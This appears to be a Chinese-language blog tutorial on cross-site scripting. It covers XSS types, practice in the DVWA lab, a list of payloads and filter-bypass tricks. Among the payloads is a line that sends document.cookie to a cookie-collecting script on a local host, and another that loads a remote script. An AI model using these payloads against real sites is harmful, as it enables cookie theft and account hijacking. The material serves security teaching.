• XSS


    1.什么是xss

    XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

    2.xss原理

    (1).攻击者对某含有漏洞的服务器发起XSS攻击(注入JS代码)

    (2)诱使受害者打开受到攻击的服务器URL(邮件、留言等,此步骤可选项)

    (3)受害者在Web浏览器中打开URL,恶意脚本执行。

    3.xss类型

     (1)反射性:

            非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

     (2)存储型:

          持久化,代码是存储在服务器中的,如在个人信息或发表文章以及留言板等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等

     (3)DOM:

          DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

    4.演练(以下练习均在DVWA环境中实现)

        怎么找到XSS漏洞:

            个人理解:见框就插,因为一般的xss都是存在有文本框的地方。

        常见payload构建:

          <!-- 基本类型 -->

          <script>alert ('xss')</script>
          <script>alert ("xss")</script>
          <script>alert (/xss/)</script>
          <script>alert ('xss');</script>

          <script>alert('document.cookie')</script>  //获取本地cookie

          <!-- 利用基本事件 -->

          <img src=x onerror=alert(1)> //事件会在文档或图像加载过程中发生错误时被触发
          <img scr=x onload=alert(1)> //图片正常加载才执行onload
          <img scr=x onclick=alert(1)>//事件会在对象被点击时发生

          <img scr=x onmouseover=alert(1) > //当鼠标指针移动到图像上时执行一段 JavaScript:

          <!-- 利用Javascript伪协议 -->

          <iframe src="Javascript:alert(1)"></iframe>

          <!-- XSS获取cookie -->
          <script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
          <script src=http://127.0.0.1/test.js></script>

      (1).反射性:

          直接在页面反弹

          payload:<script>alert('xss')</script>

          

          payload:<script>alert(document.cookie)</script> 获取本地cookie

          

      (2)存储型

            插到数据库当中,每次打开都会反弹。大多数存在于留言板。

            payload ; <script>alert('xss')</script>

            

            又插入一个payload:<script>alert('document.cookie')</script>   (两个都会反弹)

              

       (3).DOM

            属于反射性

            payload:<script>alert('xss')</script>  (把原来的参数换成自己的payload)

            

     5.绕过方法  

    1.利用<script>标签
    2. 利用html标签的属性值
    3. 利用空字符
    4. 利用事件
    onclick 鼠标单击
    onchange 内容发生改变
    onerror 图片等未找到时
    onload 页面加载
    onmouseover 鼠标悬停
    onmouseout 鼠标移出
    onmousemove 鼠标路过
    5. 扰乱过滤规则
    1)大小写混合
    <sCRipt>alert('xss')</script>
    2)引号的使用
    <script>alert('xss')</script>
    <script>alert("xss")</script>
    <script>alert(/xss/)</script>
    3)<iframe/src=javascript:alert(1)>
    6. 利用字符编码
    1)HTML进制编码
    标签中的某些属性值可以使用html十进制、十六进制表示
    2)JavaScript编码
    JavaScript支持unicode、八进制、十六进制、十进制等
    3)URL编码
    4)base64编码

    6.常见绕过实战  

          http://www.cnblogs.com/pangya/p/8979211.html

            

                                          关注网络安全

  • 相关阅读:
    二维hash(Uva 12886)
    C#中的线程(一)入门
    全国各地所有高校名单数据库 全国所有高校排名
    协议与代理
    表的约束条件
    na 斐波那契数列f(f(n))
    gcd题目
    Neighbor 隔壁
    hadoop
    Mybatis中实现mysql分页写法!!注意
  • 原文地址:https://www.cnblogs.com/pangya/p/8980333.html
Copyright © 2020-2023  润新知